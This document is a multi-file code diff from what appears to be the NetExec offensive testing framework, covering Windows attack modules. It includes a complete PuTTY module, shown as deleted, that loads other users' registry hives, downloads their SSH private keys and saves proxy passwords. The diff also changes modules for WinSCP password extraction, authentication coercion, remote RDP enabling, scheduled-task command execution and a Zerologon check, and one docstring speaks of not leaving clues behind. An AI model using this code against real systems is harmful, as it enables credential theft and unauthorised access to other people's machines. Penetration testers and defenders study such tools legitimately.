from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -55,13 +55,12 @@ class NXCModule:
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
try:
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
-221
View File
@@ -1,221 +0,0 @@
from datetime import datetime
from io import BytesIO
import traceback
from urllib.parse import unquote
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from os import makedirs
from nxc.helpers.logger import highlight
from nxc.paths import NXC_PATH
import re
class NXCModule:
"""Module by @NeffIsBack"""
name = "putty"
description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.rrp = None
def options(self, context, module_options):
"""No options available"""
def get_logged_on_users(self):
"""Enumerate all logged in and loaded Users on System"""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Filter legit users in regex
user_objects.remove(".DEFAULT")
regex = re.compile(r"^.*_Classes$")
return [i for i in user_objects if not regex.match(i)]
def get_all_users(self):
"""Get all users that have logged in at some point in time"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
return user_objects
def sid_to_name(self, all_users):
"""Convert SID to Usernames for better readability"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
user_dict = {}
for user_object in all_users:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
user_dict[user_object] = user_profile_path.split("\\")[-1]
return user_dict
def load_missing_users(self, unloaded_user_objects):
"""Load missing users into registry to access their registry keys."""
for user_object in unloaded_user_objects:
# Extract profile Path of NTUSER.DAT
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Load Profile
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def unload_missing_users(self, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
for user_object in unloaded_user_objects:
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
try:
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
except Exception as e:
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
self.context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def get_private_key_paths(self, all_users):
"""Get all private key paths for all users"""
sessions = []
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
for user in all_users:
try:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Extract stored Session infos
for session_name in session_names:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
# Get private Key Path
private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
# Session infos
hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
sessions.append({
"user": self.user_dict[user],
"session_name": unquote(session_name),
"hostname": hostname,
"port": port,
"protocol": protocol,
"private_key_path": private_key_path,
"proxy_host": proxy_host,
"proxy_port": proxy_port,
"proxy_username": proxy_username,
"proxy_password": proxy_password
})
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
except Exception as e:
self.context.log.fail(f"Unexpected error: {e}")
self.context.log.debug(traceback.format_exc())
return sessions
def extract_session(self, sessions):
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
for session in sessions:
if session["private_key_path"]:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
buf = BytesIO()
with open(download_path, "wb") as file:
try:
self.connection.conn.getFile(share, file_path, buf.write)
except Exception as e:
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
else:
self.context.log.exception(f"Error downloading private key: {e}")
continue
file.write(buf.getvalue())
self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
if session["proxy_password"]:
self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
with open(proxycreds_file, "a") as f:
f.write("================\n")
f.write(f"User: {session['user']}\n")
f.write(f"Sessionname: {session['session_name']}\n")
f.write(f"Host: {session['hostname']}:{session['port']}\n")
f.write(f"Protocol: {session['protocol']}\n")
f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
f.write(f"Proxy Username: {session['proxy_username']}\n")
f.write(f"Proxy Password: {session['proxy_password']}\n")
self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
def on_admin_login(self, context, connection):
self.connection = connection
self.context = context
try:
self.rrp = RemoteOperations(connection.conn, connection.kerberos)
self.rrp.enableRegistry()
all_users = self.get_all_users()
loaded_user_objects = self.get_logged_on_users()
self.user_dict = self.sid_to_name(all_users)
# Users which must be loaded into registry:
unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
self.load_missing_users(unloaded_user_objects)
sessions = self.get_private_key_paths(all_users)
if sessions:
self.extract_session(sessions)
else:
self.context.log.info("No saved putty sessions found in registry")
self.unload_missing_users(unloaded_user_objects)
except Exception as e:
context.log.exception(f"Error: {e}")
finally:
self.rrp.finish()
+3 -5
View File
@@ -83,7 +83,7 @@ class NXCModule:
wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
if "ram" in self.action:
# Nt version under 6 not support RAM.
try:
@@ -101,7 +101,7 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
wmi_rdp._RdpWmi__dcom.disconnect()
wmi_rdp._rdp_WMI__dcom.disconnect()
class RdpSmb:
@@ -218,7 +218,6 @@ class RdpWmi:
self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.__doKerberos = connection.kerberos
self.__kdcHost = connection.kdcHost
self.__remoteHost = connection.host
self.__aesKey = connection.aesKey
self.__timeout = timeout
@@ -234,12 +233,11 @@ class RdpWmi:
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
+1 -4
View File
@@ -52,7 +52,6 @@ class NXCModule:
self.cmd,
connection.kerberos,
connection.aesKey,
connection.host,
connection.kdcHost,
connection.hash,
self.logger,
@@ -78,7 +77,7 @@ class NXCModule:
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -90,7 +89,6 @@ class TSCH_EXEC:
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
@@ -110,7 +108,6 @@ class TSCH_EXEC:
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
+4 -8
View File
@@ -43,11 +43,10 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.remoteName,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
remoteHost=connection.host,
)
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
@@ -62,9 +61,8 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.remoteName,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
remoteHost=connection.host,
)
if self.ipsc:
@@ -196,7 +194,6 @@ class CoerceAuth:
pipe,
doKerberos,
dcHost,
remoteHost,
):
binding_params = {
"FssagentRpc": {
@@ -205,7 +202,7 @@ class CoerceAuth:
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpctransport.setRemoteHost(remoteHost)
dce = rpctransport.get_dce_rpc()
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
@@ -216,8 +213,7 @@ class CoerceAuth:
nthash=nthash,
aesKey=aesKey,
)
dce = rpctransport.get_dce_rpc()
dce.set_credentials(*rpctransport.get_credentials())
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+3 -6
View File
@@ -7,7 +7,6 @@ from impacket.dcerpc.v5.rpch import (
RPC_PROXY_CONN_A1_404_ERR,
RPC_PROXY_RPC_OUT_DATA_404_ERR,
)
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
@@ -48,14 +47,14 @@ class NXCModule:
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
rpctransport.set_dport(self.port)
if connection.kerberos:
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
try:
entries = self.__fetch_list(connection.kerberos, rpctransport)
entries = self.__fetch_list(rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.critical(error_text)
@@ -113,10 +112,8 @@ class NXCModule:
else:
context.log.debug("[Spooler] No endpoints found")
def __fetch_list(self, doKerberos, rpctransport):
def __fetch_list(self, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
+1 -1
View File
@@ -37,6 +37,7 @@ class NXCModule:
"""
self.log_file = None
self.desc_count = 0
self.context = context
self.account_names = set()
self.keywords = {"pass", "creds", "creden", "key", "secret", "default"}
@@ -70,7 +71,6 @@ class NXCModule:
On successful LDAP login we perform a search for all user objects that have a description.
Users can specify additional LDAP filters that are applied to the query.
"""
self.context = context
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
+114 -55
View File
@@ -51,19 +51,25 @@ class NXCModule:
context.log.highlight(f"UserName: {session[2]}")
context.log.highlight(f"Password: {session[3]}")
def user_object_to_name_mapper(self, context, connection, all_user_objects):
def user_object_to_name_mapper(self, context, connection, allUserObjects):
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for user_object in all_user_objects:
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
for userObject in allUserObjects:
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
key_handle = ans["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
self.userDict[user_object] = user_profile_path.split("\\")[-1]
self.userDict[userObject] = user_profile_path.split("\\")[-1]
finally:
remote_ops.finish()
@@ -115,14 +121,22 @@ class NXCModule:
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
# ==================== Handle Registry ====================
def registry_session_extractor(self, context, connection, user_object, sessionName):
def registry_session_extractor(self, context, connection, userObject, sessionName):
"""Extract Session information from registry"""
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\{sessionName}")["phkResult"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
)
key_handle = ans["phkResult"]
host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
try:
@@ -148,13 +162,18 @@ class NXCModule:
user_objects = []
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all logged in and loaded Users on System
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
users = data["lpcSubKeys"]
# Get User Names
user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -176,13 +195,22 @@ class NXCModule:
user_objects = []
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all Users on System
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
)
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
users = data["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -194,65 +222,86 @@ class NXCModule:
remote_ops.finish()
return user_objects
def load_missing_users(self, context, connection, unloaded_user_objects):
def load_missing_users(self, context, connection, unloadedUserObjects):
"""Extract Information for not logged in Users and then loads them into registry."""
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
for user_object in unloaded_user_objects:
for userObject in unloadedUserObjects:
# Extract profile Path of NTUSER.DAT
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
key_handle = ans["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
# Load Profile
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
rrp.hBaseRegLoadKey(
remote_ops._RemoteOperations__rrp,
key_handle,
userObject,
user_profile_path + "\\" + "NTUSER.DAT",
)
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remote_ops.finish()
def unload_missing_users(self, context, connection, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
def unload_missing_users(self, context, connection, unloadedUserObjects):
"""If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Unload Profile
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for user_object in unloaded_user_objects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + user_object)
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
for userObject in unloadedUserObjects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
try:
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object)
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
except Exception as e:
context.log.fail(f"Error unloading user {user_object} in registry: {e}")
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remote_ops.finish()
def check_masterpassword_set(self, context, connection, user_object):
use_master_password = False
def check_masterpassword_set(self, connection, userObject):
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security")["phkResult"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
)
key_handle = ans["phkResult"]
use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("Security configuration registry not found, no master passwords set at all.")
else:
context.log.exception(e)
finally:
remote_ops.finish()
return use_master_password
@@ -260,7 +309,7 @@ class NXCModule:
def registry_discover(self, context, connection):
context.log.display("Looking for WinSCP creds in Registry...")
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all Users on System
@@ -272,29 +321,39 @@ class NXCModule:
unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
self.load_missing_users(context, connection, unloaded_user_objects)
# Retrieve how many sessions are stored in registry from each user_object
# Retrieve how many sessions are stored in registry from each UserObject
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for user_object in all_user_objects:
for userObject in all_user_objects:
try:
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions")["phkResult"]
sessions = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[user_object]}" in registry!')
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
)
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
sessions = data["lpcSubKeys"]
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
session_names.remove("Default%20Settings")
if self.check_masterpassword_set(context, connection, user_object):
if self.check_masterpassword_set(connection, userObject):
context.log.fail("MasterPassword set! Aborting extraction...")
continue
# Extract stored Session infos
for sessionName in session_names:
self.print_creds(context, self.registry_session_extractor(context, connection, user_object, sessionName))
self.print_creds(
context,
self.registry_session_extractor(context, connection, userObject, sessionName),
)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug(f"No WinSCP config found in registry for user {user_object}")
context.log.debug(f"No WinSCP config found in registry for user {userObject}")
except Exception as e:
context.log.fail(f"Unexpected error: {e}")
context.log.debug(traceback.format_exc())
+4 -6
View File
@@ -26,7 +26,7 @@ class NXCModule:
def on_login(self, context, connection):
self.context = context
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
self.context.log.highlight("VULNERABLE")
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
try:
@@ -43,15 +43,13 @@ class NXCModule:
except Exception:
self.context.log.debug("Error updating zerologon status in database")
